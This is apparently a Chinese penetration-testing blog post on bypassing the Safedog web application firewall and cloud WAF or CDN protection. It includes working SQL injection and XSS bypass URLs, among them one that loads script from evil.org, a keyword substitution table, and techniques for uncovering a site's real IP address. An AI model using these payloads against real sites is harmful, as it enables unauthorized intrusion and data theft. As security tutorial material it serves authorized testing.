在渗透测试的过程中,经常会遇到各种各样的WAF,WAF会将用户提交的符合规则库中的恶意数据给阻断,这对渗透测试带来了挑战。要想对抗WAF来继续对目标进行渗透,就必须先了解WAF的类型和原理才能于其规则进行对抗。
WAF大致分为三类:
硬件Web防火墙:就是常说的硬WAF,通常的安装方式是将Waf串行部署在Web服务器前端,用于检测、阻断异常流量。
Web防护软件:就是常说的软WAF,则是安装在需要防护的服务器上,实现方式通常是WAF监听端口或以Web容器扩展方式进行请求检测和阻断。
云WAF:是近年来随着云计算的推动衍生出来的新产品,云WAF,也称WEB应用防火墙的云模式,这种模式让用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。
由于硬件WAF购买价格昂贵,受众数量较少,因此通常遇到的都是部署在服务器上的软WAF和部署在云服务器上的云WAF,因此这里只讨论存在软WAF和云WAF的情况。
对抗软WAF
软WAF比较有代表性的就是安全狗了,因此这里以安全狗为例,其余软WAF均可以使用大致相同的思路——Fuzz 来进行绕过。
绕过安全狗扫描目录
在服务器端未开启CC防御时,可采用自定义User-Agent来对站点进行目录扫描,这里使用DirBuster来将User-Agent设置成百度爬虫的User-Agent头User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
下面为DirBuster的使用方法
绕过安全狗继续注入
安全狗版本
时间 2019/8/1
安全狗版本 V4.0
安全狗规则版本 2018-11-30
SQL注释符/**/绕过
在安全狗规则中,默认会对添加了SQL注释符的请求进行忽略,因此可以构造形如下面的代码来绕过安全狗:192.168.1.3/anquangou.php?a=/*&id=2%20and%201=2&*/
1=1时返回id=2的用户信息,并且未被拦截
1=2时无返回值
查询版本信息
FUZZ绕过并配合sqlmap实现自动化绕过注入
Fuzz脚本如下:
1 | # -*- coding:utf-8 -*- |
uzz出来的语句为(其实远远不止,只是为了举例)fuzz语句 http://192.168.1.3:8080/anquangou.php?id=-1%20union--%20asdasd%0A%0Aselect%201,666,3%20--+
其他绕过位置放入bypass代码也是一样
比如http://192.168.1.3:8080/anquangou.php?id=-1%20union--%20asdasd%0A%0Aselect%201,database(),3%20--+
在查询database()时会被拦截,此时将干扰符插入database和()其中,就可以做到bypass
直接查询database()被拦截,插入Fuzz出来的干扰符后
最后可配合sqlmap做成自动化绕过tamper脚本
1 | #!/usr/bin/env python |
分块传输绕过
相关原理知识点在安全客上https://www.anquanke.com/post/id/169738,这里仅做记录
静态文件绕过
通过静态文件后缀可发内置的白名单,直接被安全狗放行
IIS版安全狗
///.js? js可以换成rm/wm/png/jpg等静态文件后缀
测试发现,只要url包含 ///.js? 就会触发内置的白名单,直接被iis版安全狗放行。
对于安全狗iis版,php,aspx,asp均能用这种方式过狗。http://192.168.29.131:8980/sql.php?id=1%20and%201%3d1&xss=<script>alert(/xss/)</script>&safe=///.js?
(既有sql注入,又有xss攻击,放行)http://192.168.29.131:8980/sql.php?id=1%20and%201%3d1&xss=<SCRIPT%20SRC=http://evil.org/xss.js?</script>
(很evil,也放行)
apache版安全狗http://.../sql.php/1.js?id=1
http://.../sql.aspx/1.js?id=1
具体bypass字符串替换
可bypass替换表格
拦截字符 | Bypass字符 |
---|---|
And | &&(Encode URL)%26%26 |
1=1 | true |
1=2 | false |
均可判断页面变化 | Xor False/Xor True |
2019/10/14更新
对抗云WAF
云WAF的工作原理是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。类似的,CDN也有相应的功能。比较常遇到的有:创宇加速乐、云盾、百度云加速等。
因此,我们主要努力的方向是找到服务器的真实IP,从而对云WAF和CDN来进行绕过。
验证是否存在CND
方法1:
使用多地ping服务,查看解析的IP地址是否为同一个IP地址,如果不唯一很大概率是使用了CDN,也可以查询多个解析的IP地址的归属来进行判断。
多地ping的网站有:
http://ping.chinaz.com/
https://ping.aizhan.com/
方法2:
使用nslookup进行检测,原理和上面的方法是一样的,如果返回域名解析对应多个IP地址多半是使用了CDN。有CDN的示例:
绕过CDN查找真实IP
查询历史DNS记录
查询域名历史DNS解析记录,可能会存在使用CDN以前的记录,相关查询网站有:
国内:
https://site.ip138.com ip138
https://x.threatbook.cn 微步在线
https://tools.ipip.net/cdn.php CDN查询
国外:
https://securitytrails.com/
这里还会提供子域名等信息
SMTP发送邮件泄露原站IP
最直接最有效的方式。大部分公用SMTP服务在发信时邮件头会带上发件者IP,这样直接导致CDN失去原本的防护意义。
这里用某招聘网站作为例子,在忘记密码处,填写自己的邮箱,在收件箱处查看信头
箭头处就是发件人IP地址。获取到该地址后可以修改hosts将域名和该IP地址绑定来绕过CDN,或者通过IP:端口的方式来访问。
查询子域名
一些情况下,站点管理员只把主业务部署了CDN,而在同一个服务器的子域名却没有部署CDN,通过查询或者爆破子域名,将子域名IP和目标域名相匹配,直到访问成功。
这里使用的是https://github.com/lijiejie/subDomainsBrute 的子域名爆破脚本。
网站漏洞利用
1) 当目标站点存在信息泄露,例如:phpinfo页面等等。
2) SSRF,通过SSRF,使得服务器主动向接受平台发起连接,从而获得服务器真实IP。
这些方法获取到的真实IP基本是百分百准确的。
利用国外主机解析域名
一些CDN厂商可能只对国内发起的访问做了CDN,而针对国外的线路则没有,因此如果使用国外主机对域名发起解析可能就可以的到服务器的真实IP。
获取到网站的真实IP后,可直接通过IP:端口的方式进行访问,但有时站点时不允许直接通过IP发起访问的,这时候就需要修改hosts文件,将寻找到的真实IP和域名绑定在一起,此时访问目标域名就会解析到绑定的真实IP上,从而绕过CDN和云WAF的防护。
- 本文作者: LLMF
- 本文链接: http://ll-mf.github.io/2019-10-12-对抗WAF继续渗透.html
- 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!